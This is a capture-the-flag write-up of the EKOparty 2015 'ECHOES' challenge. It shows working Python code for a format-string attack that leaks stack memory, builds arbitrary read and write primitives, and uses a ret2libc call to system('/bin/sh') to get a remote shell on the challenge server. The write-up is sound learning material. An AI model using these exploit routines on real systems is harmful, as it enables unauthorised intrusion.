There and back again ...

@mrexcessive WHA

EKOparty15 pwn200 ECHOES

 

The problem

Description: nc challs.ctf.site 20002
Hints: 3k0_p4rty_2015! is not the flag! go deeper. 
Pwnable Exploit No-Source No-Local-Binary

((note this is quite lengthy... but a lot of that is just dumps of output and bits of code needed for reference))

 

The solution

There's an online service. It says:

Enter your name: 
You type something in and it echoes it back... forever. First thought, vulnerable __printf()__
Enter your name: %p %p %p
Hi 0x13370a97 0xc 0x1337070e

Excellent !

At this point I think I know what's going to happen... Enter a long string, get a stack dump, find the input buffer on the stack, find the return address, write a new return address via buffer overflow. Worst case a bit of code to automate it and dynamically calculate addresses.

I was wrong . . .
Even the longest journey begins with some first steps though... so...
Back to the main storyline. Check for buffer overflow

Enter your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ... continued to about 1000 chars ...
Hi aaaaaaaaaaaa
Enter your name: Hi aaaaaaaaaaaa
Enter your name: Hi aaaaaaaaaaaa
...
Enter your name: Hi aaaaaaa

Oh rats... input is truncated at 12 characters. So probably not a buffer overflow then.

Right... 12 characters... it's going to be tight. Will need to pull back stack contents one or two entries at a time, then use %n, %hn or %hhn syntax to modify bytes. Suddenly this is looking like half-a-day of work.

Lets get that stack, using %M$08x and a little python script (just to save typing it over and over again) I pull back a load of stuff (please scroll down ->)

1=    0x%0$08x
2=    0x13370a97
3=    0x0000000c
4=    0x1337070e
5=    0x00000010
6=    0x13370326
7=    0x00000000
8=    0x25000000
9=    0x38302438
10=    0x00000a78
11=    0x00000000
12=    0x9ac73f00
13=    0x00000000
14=    0xb7fd1000
15=    0xbffff7a8
16=    0x13370985
17=    0x13372080
18=    0x13370ae3
19=    0x133709ab
20=    0xb7fd1000
21=    0x133709a0
22=    0x00000000
23=    0x00000000
24=    0xb7e43a63
25=    0x00000001
26=    0xbffff844
27=    0xbffff84c
28=    0xb7feccea
29=    0x00000001
30=    0xbffff844
31=    0xbffff7e4
32=    0x13372044
33=    0x13370300
34=    0xb7fd1000
35=    0x00000000
36=    0x00000000
37=    0x00000000
38=    0x1e6c995f
39=    0x29f7bd4f
40=    0x00000000
41=    0x00000000
42=    0x00000000
43=    0x00000001
44=    0x133705e0
45=    0x00000000
46=    0xb7ff2500
47=    0xb7e43979
48=    0xb7fff000
49=    0x00000001
50=    0x133705e0
51=    0x00000000
52=    0x13370601
53=    0x1337094a
54=    0x00000001
55=    0xbffff844
56=    0x133709a0
57=    0x13370a10
58=    0xb7fed180
59=    0xbffff83c
60=    0x0000001c
61=    0x00000001
62=    0xbffff958
63=    0x00000000
64=    0xbffff96f
65=    0xbffff97a
66=    0xbffff986
67=    0xbffffea7
68=    0xbffffee9
69=    0xbffffefa
70=    0xbfffff04
71=    0xbfffff16
72=    0xbfffff1e
73=    0xbfffff2d
74=    0xbfffff40
75=    0xbfffff4f
76=    0xbfffff5f
77=    0xbfffff75
78=    0xbfffff92
79=    0xbfffffa7
80=    0xbfffffc5
81=    0xbfffffda
82=    0x00000000
83=    0x00000020
84=    0xb7fdd400
85=    0x00000021
86=    0xb7fdd000
87=    0x00000010
88=    0x178bfbff
89=    0x00000006
90=    0x00001000
91=    0x00000011
92=    0x00000064
93=    0x00000003
94=    0x13370034
95=    0x00000004
96=    0x00000020
97=    0x00000005
98=    0x00000009
99=    0x00000007
100=    0xb7fde000
101=    0x00000008
102=    0x00000000
103=    0x00000009
104=    0x133705e0
105=    0x0000000b
106=    0x000003e9
107=    0x0000000c
108=    0x000003e9
109=    0x0000000d
110=    0x000003e9
111=    0x0000000e
112=    0x000003e9
113=    0x00000017
114=    0x00000000
115=    0x00000019
116=    0xbffff93b
117=    0x0000001f
118=    0xbfffffe1
119=    0x0000000f
120=    0xbffff94b
121=    0x00000000
122=    0x00000000
123=    0xfe000000
124=    0xfc9ac73f
125=    0x561070c1
126=    0x68fc1fe5
127=    0x69b66016
128=    0x00363836
129=    0x00000000
130=    0x00000000
131=    0x6d6f682f
132=    0x69732f65
133=    0x656c706d
134=    0x6572672f
135=    0x6e697465
136=    0x54007367
137=    0x3d4d5245
138=    0x72657478
139=    0x5355006d
140=    0x733d5245
141=    0x6c706d69
142=    0x534c0065
143=    0x4c4f435f
144=    0x3d53524f
145=    0x303d7372
146=    0x3d69643a
147=    0x333b3130
148=    0x6e6c3a34
149=    0x3b31303d
150=    0x6d3a3633
151=    0x30303d68
152=    0x3d69703a
153=    0x333b3034
154=    0x6f733a33
155=    0x3b31303d
156=    0x643a3533
157=    0x31303d6f
158=    0x3a35333b
159=    0x343d6462
160=    0x33333b30
161=    0x3a31303b
162=    0x343d6463
163=    0x33333b30
164=    0x3a31303b
165=    0x343d726f
166=    0x31333b30
167=    0x3a31303b
168=    0x333d7573
169=    0x31343b37
170=    0x3d67733a
171=    0x343b3033
172=    0x61633a33
173=    0x3b30333d
174=    0x743a3134
175=    0x30333d77
176=    0x3a32343b
177=    0x333d776f
178=    0x32343b34
179=    0x3d74733a
180=    0x343b3733
181=    0x78653a34
182=    0x3b31303d
183=    0x2a3a3233
184=    0x7261742e
185=    0x3b31303d
186=    0x2a3a3133
187=    0x7a67742e
188=    0x3b31303d
189=    0x2a3a3133
190=    0x6a72612e
191=    0x3b31303d
192=    0x2a3a3133
193=    0x7a61742e

We can see some fun things in there... several ranges of memory addresses which will be stack segment, code segment, possibly malloc'd (heap) space.

The text at the end (from @131 onwards) turns out to be the contents of the environment (what set would output at command prompt)

Next we need some proof this journey will end. Looks like I'll need to write some Python to make it easier to stuff shellcode up there, find a return address to modify, and Bam!

If only...

I spend some time trying things which might modify the maximum input length to more than 12 chars, but then decide to just live within this limitation, at least for now.

So now I want to see what the various addresses point at. Some of them will be pointers to strings. Hopefully some will be pointers to the stack itself - which is what we'll need in order to make use of %n and it's word and byte length cousins.

A little bit of Python to pull back strings or, if the server crashes out after %s on an invalid memory address, then reconnect and continue.

def GetString(n):
   global s
   q = "%" + "%i$s\n" % n
   s.send(q)
   response = GetResponse(timeout=0.5)
   if "Hi " in response:
      lines = response.split("\n")  
      for oneline in lines:
         if "Hi " in oneline:
            ascii = oneline[3:]
            print "%i=\t[%s]" % (n,ascii)

def MaybeGetString(n,string):
   global s
   lines = string.split("\n")
   for oneline in lines:
      if "Hi " in oneline:
         h = oneline[3:]
         try:
            v = int(h,16)
         except ValueError:
            v = 0
         if  v < 1000:         # arbitrary value. Less than 1000 implies not a string pointer...
            print "%i=\t%s" % (n,h)
         else:
            try:
               GetString(n)
            except:
               sys.stdout.write("!")
               sys.stdout.flush()
               print "%i=\t %s" % (n,h)
               DoConnect()
               response = GetResponse(timeout=0.5)

Now I have a collection of strings and code snippets (in ascii at this point, but no reason couldn't fetch binary data this way.

Strings found

1=    [%N]
2=    0000000c
3=    [�E��}�]
4=    00000010
5=    [signal]
6=    00000000
!7=     25000000
!8=     38302438
9=    [(null)]
10=    00000000
!11=     43087e00
12=    00000000
13=    [�m]
14=    []
15=    [!7�$�������f�f�f�f�f�f�UW1�VS�e�����U]
16=    [[T@L�


                w$LyB�,���@zyz2
                                 h�2��b����hjoT(Y�=������[]
17=    [3k0_p4rty_2015!]
18=    [��U]
19=    [�m]
20=    [UW1�VS�e�����U]
21=    00000000
22=    00000000
23=    [�$�U�]
24=    00000001
25=    [W���]
26=    [n���y����������������������������,���?���O���_���u�������������������]
27=    [��#]
28=    00000001
29=    [W���]
30=    [�W>��s��]
31=    [p9���:��]
32=    []
33=    [�m]
34=    00000000
35=    00000000
36=    00000000
!37=     843e579b
!38=     9d7adb9f
39=    00000000
40=    00000000
41=    00000000
42=    00000001
43=    [1�^�����PTRh]
44=    00000000
45=    [Z�
           $�$�D$�
                    ]
46=    [��]
47=    [4]
48=    00000001
49=    [1�^�����PTRh]
50=    00000000
51=    [�f�f�f�f�f�f�f��$�f�f�f�f�f�f��� 7-� 7��wø]
52=    [U��������D$�7�$]
53=    00000001
54=    [W���]
55=    [UW1�VS�e�����U]
56=    [��]
57=    [U��WVS��]
58=    []
59=    0000001c
60=    00000001
61=    [/home/simple/greetings]
62=    00000000
63=    [TERM=xterm]
64=    [USER=simple]
65=    [LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:]
66=    [PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin]
67=    [_=/usr/bin/socat]
68=    [PWD=/root]
69=    [HOME=/home/simple]
70=    [SHLVL=2]
71=    [LOGNAME=simple]
72=    [HISTFILE=/dev/null]
73=    [SOCAT_PID=29280]
74=    [SOCAT_PPID=3053]
75=    [SOCAT_VERSION=1.7.2.3]
76=    [SOCAT_SOCKADDR=192.168.1.104]
77=    [SOCAT_SOCKPORT=20002]
78=    [SOCAT_PEERADDR=86.180.180.180]
79=    [SOCAT_PEERPORT=49945]
80=    [SHELL=]
81=    00000000
82=    00000020
83=    [QRU�4�������������������������]ZY���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������X�w]
84=    00000021
85=    [ELF]
86=    00000010
!87=     178bfbff
88=    00000006
!89=     00001000
90=    00000011
91=    00000064
92=    00000003
93=    []
94=    00000004
95=    00000020
96=    00000005
97=    00000009
98=    00000007
99=    [ELF]
100=    00000008
101=    00000000
102=    00000009
103=    [1�^�����PTRh]
104=    0000000b
!105=     000003e9
106=    0000000c
!107=     000003e9
108=    0000000d
!109=     000003e9
110=    0000000e
!111=     000003e9
112=    00000017
113=    00000000
114=    00000019
115=    [�]
116=    0000001f
117=    [/home/simple/greetings]
118=    0000000f
119=    [i686]
120=    00000000
121=    00000000
!122=     fa000000
!123=     76344b89
!124=     6cf70c45
!125=     2f26a72a
!126=     69ef56ac
!127=     00363836

The data from @123 onwards is the environment strings - so not pointers to anything. But, also notice that from @61 onwards we have pointers TO those strings. Pointers which point to the stack are handy things to find.
Note that I print strings in [ ] so it's slightly clearer where they start and end.

Of course we see the fake flag [3k0_p4rty_2015!] at this point

There is a hint on the website to tell us this isn't it, they must have got fed up with people complaining about having solved it in IRC... But still, it might be a double bluff... if just...

Has to be tried... and... No. It wasn't...


I'd like to get proof that %n is working, before writing loads of exploit code.

If only I'd known...

More messing and thinking about pointers. What %hhn does is modify a byte sized value at the address pointed to by a pointer.
After ten minutes of getting it wrong... A minor success...

nc challs.ctf.site 20002

[!] Type bye to quit
Enter your name: %61$s
Hi /home/simple/greetings

Enter your name: %65x%61$hhn
Hi                                                          13370a97

Enter your name: %61$s
Hi Ahome/simple/greetings

Note that we've modified the character pointed to by the @61 pointer to be an 'A' (ascii 65 decimal).

Further thinking and I find out that the pointer @29 points to the pointer @61.
This is great... I can write a word, using %hn, through @29 and get @61 to point to any address on the stack.

This is double-great because...?


Because... in turn that means I can address anywhere in memory

  1. Write through @29 to get @61 to point to an unused bit of stack - the LOW word of one of our @pointers.
  2. Modify @61 to point at two bytes (not four...) further along the stack - the HIGH word of the same @pointer.
  3. Now I can write through the @pointer to modify or read hex or a string from any location in memory..

and the code snippets to do just that are :

def WR(cmd,trace = False):
  s.send(cmd+"\n")
  response = GetResponse()
  if trace:
    print "%s --> %s" % (cmd,response)

def WWORDIncludingZero(pointerNumber,bytevalue):
  if bytevalue == 0:
      WR("%" + "%i" % pointerNumber + "$hnn")     # value of zero needs no padding - so can use $hhn !
  else:
      WR("%" + "%u" % bytevalue + "c%" + "%i" % pointerNumber + "$hn")   # write the byte value      
          #NOTE cannot use $hhn because string then too long when 3 dig bytevalue

def WBYTE(addr,byte):
  print "writing %02x to %08x" % (byte,addr)
  v3 = (addr >>24) % 0x100
  v2 = (addr >>16) % 0x100
  v1 = (addr >>8) % 0x100
  v0 = addr % 0x100
  WR("%44x%29$hhn")
  WWORDIncludingZero(61,v0)
  WR("%45x%29$hhn")
  WWORDIncludingZero(61,v1)
  WR("%46x%29$hhn")
  WWORDIncludingZero(61,v2)
  WR("%47x%29$hhn")
  WWORDIncludingZero(61,v3)
  WWORDIncludingZero(119,byte)         # <-- this is the actual write we were aiming at...

def WBYTES(startaddr,bytestring):      # write bytestring to []
  if len(bytestring) < 1:
      print "WBYTES nothing to do"
      return
  addr = startaddr
  while len(bytestring) <> 0:
    b = bytestring[0]
    bytestring = bytestring[1:]
    WBYTE(addr,ord(b))
    addr += 1

def RSTRING(addr):
  hi = addr / 0x100
  lo = addr % 0x100
  WR("%45x%29$hhn")                   # address higher nibble of addr
  WR("%" + "%u" % hi + "x%61$hhn")    # write to higher nibble
  WR("%44x%29$hhn")                   # address lower nib
  WR("%" + "%u" % lo + "x%61$hhn")    # write to lower nib
  WR("%119$s",trace = True)

WBYTE() writes a byte value to any location in memory - via double indirection described above.
RSTRING() reads a string value from any location in memory - double indirection again.

I now think I've got the tools to get a shell. Remember the go deeper instruction from the hint to the challenge.

Poor deluded fool that I was... Not even half-way on the journey !

So... I spend about 5 hours uploading shellcode to stack, to addresses in the 0x1337.... segment, to other places... I can read bytes back to verify uploads. But still no shell, no proof of anything executing. Gah !

Sometimes the server fails to print the "Bye!" message on crash - but that's not much to go on.

It's now midnight and I'm tired... been at this one for about 9 hours so far. I decide to get a download of the whole of the 0x1337.... segment - which has been identified as holding code by looking at the strings returned when fetching values.

So... a bit of code... some minor testing... it's almost 1am and I leave it running - slowly pulling down the whole code segment while I sleep.

The code left running was this wrapper:

def DWORDPATCH(patchaddress,patchvalue):
  print "DWORDPATCH [%08x] <- %08x" % (patchaddress,patchvalue)
  pv3 = (patchvalue >>24) % 0x100
  pv2 = (patchvalue >>16) % 0x100
  pv1 = (patchvalue >>8) % 0x100
  pv0 = patchvalue % 0x100
  WBYTE(patchaddress, pv0)
  WBYTE(patchaddress + 1, pv1)
  WBYTE(patchaddress + 2, pv2)
  WBYTE(patchaddress + 3, pv3)

def DOPATCH(patchaddress,shelladdress):
  if shelladdress < 0x10000:
      shelladdress = 0xbfff0000 + shelladdress
  DWORDPATCH(patchaddress,shelladdress)

fout = "dump_code_1337.bin"
fetchstart = 0x13370000
while(1):
  DOPATCH(0xbffff7dc, fetchstart)   # via @35
  s.send("%35$s\n")
  response = GetResponse(timeout=0.5)
  print response
  drop,keep = response.split("Hi ",1)         # binary data follows this
  keep,drop = keep.split("\n\nEnter",1)       # anything between these is valid data
  lenkeep = len(keep)
  f = open(fout,"a+b")    # write out each response using append - in case of crash
  if keep <> "":
  f.write(keep)
  f.write("\0")           # the invisible \0 which terminated the %s string
  f.close()
  fetchstart += lenkeep + 1
  print "read %i bytes, skip 0, new start %08x" % (lenkeep, fetchstart)

A new day dawns

Lovely code segment... check !
$ readelf -a dumpcode1337.bin Excellent

ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x133705e0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          4656 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         28
  Section header string table index: 27

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        13370154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            13370168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            13370188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        133701ac 0001ac 000024 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          133701d0 0001d0 000130 10   A  6   1  4
  [ 6] .dynstr           STRTAB          13370300 000300 0000b9 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          133703ba 0003ba 000026 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         133703e0 0003e0 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             13370410 000410 000010 08   A  5   0  4
  [10] .rel.plt          REL             13370420 000420 000080 08   A  5  12  4
  [11] .init             PROGBITS        133704a0 0004a0 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        133704d0 0004d0 000110 04  AX  0   0 16
  [13] .text             PROGBITS        133705e0 0005e0 000432 00  AX  0   0 16
  [14] .fini             PROGBITS        13370a14 000a14 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        13370a28 000a28 0000cb 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        13370af4 000af4 000044 00   A  0   0  4
  [17] .eh_frame         PROGBITS        13370b38 000b38 000110 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      13371f08 000f08 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      13371f0c 000f0c 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        13371f10 000f10 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         13371f14 000f14 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        13371ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        13372000 001000 00004c 04  WA  0   0  4
  [24] .data             PROGBITS        13372060 001060 00008b 00  WA  0   0 32
  [25] .bss              NOBITS          13372100 0010eb 00000c 00  WA  0   0 32
  [26] .comment          PROGBITS        00000000 0010eb 00004d 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 001138 0000f6 00      0   0  1

So we have code, albeit a bit messed up - well it's loaded in memory not a straight file copy.

Now... get a disassembly...

Unfortunately objdump doesn't like it... so ODA it is... some byte sequences from around the return addresses.
Fairly quickly find this:

.data:00000401 c7 04 24 c4 0a 37 13             mov    DWORD PTR [esp],0x13370ac4      "OMG! nice work, your flag is: "
.data:00000408 e8 38 fc ff ff                   call   0x00000045
.data:0000040d a1 08 21 37 13                   mov    eax,ds:0x13372108               0x13373008 -> eax
.data:00000412 89 44 24 04                      mov    DWORD PTR [esp+0x4],eax         
.data:00000416 c7 04 24 c1 20 37 13             mov    DWORD PTR [esp],0x133720c1
.data:0000041d e8 f0 fd ff ff                   call   0x00000212            
.data:00000422 89 45 dc                         mov    DWORD PTR [ebp-0x24],eax
.data:00000425 a1 08 21 37 13                   mov    eax,ds:0x13372108          0x13373008 -> eax
.data:0000042a 89 44 24 04                      mov    DWORD PTR [esp+0x4],eax
.data:0000042e c7 04 24 cc 20 37 13             mov    DWORD PTR [esp],0x133720cc
.data:00000435 e8 d8 fd ff ff                   call   0x00000212
.data:0000043a 89 45 e0                         mov    DWORD PTR [ebp-0x20],eax
.data:0000043d 8b 45 e0                         mov    eax,DWORD PTR [ebp-0x20]
.data:00000440 89 44 24 04                      mov    DWORD PTR [esp+0x4],eax
.data:00000444 8b 45 dc                         mov    eax,DWORD PTR [ebp-0x24]
.data:00000447 89 04 24                         mov    DWORD PTR [esp],eax
.data:0000044a e8 f6 fb ff ff                   call   0x00000045
.data:0000044f 8b 45 dc                         mov    eax,DWORD PTR [ebp-0x24]
.data:00000452 89 04 24                         mov    DWORD PTR [esp],eax
.data:00000455 e8 0b fc ff ff                   call   0x00000065
.data:0000045a 8b 45 e0                         mov    eax,DWORD PTR [ebp-0x20]
.data:0000045d 89 04 24                         mov    DWORD PTR [esp],eax
.data:00000460 e8 00 fc ff ff                   call   0x00000065
.data:00000465 eb 05                            jmp    0x0000046c
.data:00000467 e9 92 fe ff ff                   jmp    0x000002fe
.data:0000046c 8b 45 f4                         mov    eax,DWORD PTR [ebp-0xc]
.data:0000046f 65 33 05 14 00 00 00             xor    eax,DWORD PTR gs:0x14
.data:00000476 74 05                            je     0x0000047d
.data:00000478 e8 18 fc ff ff                   call   0x00000095
.data:0000047d c9                               leave  
.data:0000047e c3                               ret   

Which is nice, especially the OMG! ... message
So that is the flag code.

I try to get to grips with it... but cannot locate any working code at the reference shown as 0x212 (call relative 0xfffffdd8), which is strange.

After some A LOT ! of time I decide to just get a shell... Using ROP or ... maybe this is a good chance to try ret2libc

I'm confident I can locate printf(), because the format strings passed to it give it away. Of course it is indirected through the GOT into libc, and I find the GOT entry - using the memory dump code I already have.

Table of redirections to libc
00002000  14 1F 37 13 38 F9 FF B7 F0 24 FF B7 80 4F EA B7 ..7.8....$...O..
00002010  60 0B F6 B7 90 34 F0 B7 40 6C E7 B7 30 CE E8 B7 `....4..@l..0...
00002020  36 05 37 13 B0 82 E5 B7 F0 E3 ED B7 66 05 37 13 6.7.........f.7.
00002030  30 FB E9 B7 10 EC E8 B7 96 05 37 13 A6 05 37 13 0.........7...7.
00002040  20 C2 EA B7 70 39 E4 B7 F0 3A F5 B7 00 00 00 00  ...p9...:......

[2018] is printf() we think, from how it is used... and so printf() is at 0xb7e7 6c40

Important question... Does it stay put between runs ?

Two confirmation runs later... YES!
Excellent.

OK now... turning printf() address into system() address. Not sure how...
But a little bit of research and I find this great thing : https://github.com/molnarg/libc-binary-collection

Installed and ...

$./identify.py printf=0xb7e76c40 system=?
system=0x00000000b7e69cd0 ubuntu/libc6-i386_2.19-0ubuntu6.5_amd64/lib32/libc-2.19.so
system=0x00000000b7e69a50 ubuntu/libc6_2.3.5-1ubuntu12.5.10.1_i386/lib/libc-2.3.5.so

Two choices!

I write some code - using the functions I already have - to upload a ret2libc attack sequence and point the useable return address on stack to it.

# trying ret2libc system("/bin/sh")
shelladdress = 0x13374001
SetupShellcode(shelladdress)        # this uploads my shellcode, in this case just the string "/bin/sh\0"
system_address = 0xb7e69cd0
DOPATCH(0xbffff78c, system_address)
DOPATCH(0xbffff790, 0x1)             # dummy return address , FROM system (never used)
DOPATCH(0xbffff794, shelladdress)    # parameter - this needs to point to "/bin/sh"
s.send("\n")
response = GetResponse()
print response
s.send("%n\n")                        # "%n\n" will exit from the program and trigger the code
response = GetResponse()
print response
print "*** dropping out to telnet ***\n"

Hint... you can use the telnetlib in Python to take over a socket once you think you'll have a shell...

t = telnetlib.Telnet()
t.sock = s
t.interact()

Success !

Well sort of... I thought this was the meat of the problem solved at this point...But no.

I can type commands, but nothing prints back... Oh I recall this from previous CTFs... incorrect pipe.
Instead of

ls

Do this

ls 2>&1
ls: cannot open directory .: Permission denied

Excellent !

So... we have a shell !!

The watchdog timer is still active though... so we only have it for 10 seconds at a time...
So building short lists of commands and executing them. The obvious first command is sh 2>&1 to get a useable shell (and save putting 2>&1 on the end of everything)

So...

sh 2>&1
pwd
cd ~
ls
cat flag
ls: cannot open directory .: Permission denied
/root

OK so... in /root currently.
I recall seeing a home directory in the Environment strings found early on.
Yes /home/simple

So...

sh 2>&1
cd /home/simple
ls -la
total 68
drwxr-x--- 2 simple simple  4096 Sep 17 14:02 .
drwxr-xr-x 6 root   root    4096 Sep 12 21:10 ..
-rw------- 1 simple simple   145 Sep 12 21:13 .bash_history
-rw-r--r-- 1 simple simple   220 Oct  7  2014 .bash_logout
-rw-r--r-- 1 simple simple  3637 Oct  7  2014 .bashrc
-rw-r--r-- 1 simple simple   675 Oct  7  2014 .profile
-rwxr-xr-x 1 root   root   27095 Nov 17  2011 checksec.sh
-rw-r--r-- 1 simple simple    35 Sep 14 23:37 flag
-rw-r----- 1 root   simple  1904 Aug 27 01:08 fmt_001.c
-rwxr-x--- 1 root   simple  5776 Aug 27 01:08 greetings
-rw-r--r-- 1 simple simple     0 Sep 17 14:02 vulnhub_loves_you
Most excellent

Surely...

And one more time to get the flag

sh 2>&1
cd /home/simple
cat flag
EKO{y0l0_y0u_0nly_l1v3_0nc3_b1tch}
I have the flag !

you speak too soon...


So I tried the flag and it didn't work. I tried without the EKO{ } wrapper just in case. I made sure no superfluous spaces... This was weird.

I needed to have an elliptical conversation with a CTF organiser. To the IRC !

After a very short delay I'm told this. You weren't supposed to get a shell. Well done, but that's not the flag. Someone else must have got a shell and created that flag as a Troll !!!

So now you seen the extent of this tour.... we are nearing the end but there's still some work to do.

At least I can exfiltrate a pristine binary now... so objdump will hopefully work.

sh 2>&1
cd /home/simple
setgrp simple
xxd greetings
0000000: 7f45 4c46 0101 0100 0000 0000 0000 0000  .ELF............
... etc ...

Yes that worked... so now...
Python to binaryise the xxd dump.

#!/usr/bin/python
# turn xxd into binary

infname = "greetings.xxd"
outfname = "greetings"

f = open(infname,"rb")
d = f.read()
f.close()

lines = d.split("\n")
output = ""
for oneline in lines:
   if len(oneline) < 10:
      continue
   (dropaddr,bytes) = oneline.split(": ",1)
   (bytes,droptext) = bytes.split("  ",1)
   bytes = bytes.replace(" ","")
   print "[%s]" % bytes
   b = bytes.decode("hex")
   output += b


f = open(outfname,"wb")
f.write(output)
f.close()

Aside - there must be a quicker way to get that done... sftp perhaps

Extra aside - after writeup... Luke has just pointed out that xxd -r will turn a dump back into binary ! So now I know that...

So first thing to do is get that flag output routine to run. It won't normally be called, but we can fix that in gdb.

Also... before starting that... patch the binary so watchdog timer is much longer.

133707c4:    e8 b7 fd ff ff          call   13370580 
133707c9:    c7 04 24 0a 00 00 00    movl   $0xa,(%esp)               # stop at 10 seconds...  patch to 0x0a0a
133707d0:    e8 7b fd ff ff          call   13370550 

May as well patch the jump which prevents output of the flag to nop as well

133708ca:    75 66                   jne    13370932      # need to NOP out this

But... still doesn't produce complete flag:

OMG! nice work, your flag is: EKO{b4by_3xpl0it_FMT_strtoaepSJ?!;50}3b

Hmmm...

Might be checksumming where I've patched things... or debug detection (though I don't see either of those).
If in doubt... Emulate the code in Python

After mid-morning second elevenses, I've got this code

b_t = "47fa464a3c00951f783dd350"
b_t = "47fa464a3c00951f783dd3507136c293b7b5159f2344e91ba6b67ce2bbdb0e11"
b_n =[0x56,0x0c,0x0a,0x1d,0x67,0x08,0x42,0x18,0x57,0x5c,0x53,0x4f,0x1a,0x04,0x72,0x21,0x18,0x3a,0x31,0x05,0x49,0x26,0x2c,0x18,0x09,0x1e,0x1a,0x70,0x5c,0x6b,0x00]
# 0    1    2    3    4    5    6    7    8    9    0    1    2    3    4    5    6    7    8    9    0    

def crack(t,arr):
   o = ""
   for i in xrange(0,len(t)):
      if arr[i] == 0:
         break
      ebx = arr[i % len(arr)]
      edx = ord(t[i % len(t)]) + i
      print "%02x %02x" % (edx,ebx)
      eax = edx ^ ebx
      o += chr(eax)
   return o


print crack(a_t,a_n)    # verify behaviour
print crack(b_t,b_n)

Which produces this output

34 71
38 73
68 27
64 1f
38 1d
3b 48
3a 47
EKO{%s}
34 56
38 0c
68 0a
64 1d
38 67
3b 08
3a 42
68 18
3b 57
6c 5c
3a 53
3b 4f
45 1a
42 04
3f 72
75 21
47 18
49 3a
45 31
77 05
78 49
48 26
4b 2c
47 18
4f 09
4a 1e
4d 1a
51 70
7f 5c
4f 6b
b4by_3xpl0it_FMT_str1ng_FTW!#$

FLAG !

And this one actually worked...

So what have I learned...

Well... I could have got the flag 18 hours earlier if I'd just emulated that code when I first pulled it back.

BUT then I would definitely not have had the fun of doing a ret2libc for the first time - something which was very handy two days later for CSAW qualifiers - but more of that in a later post !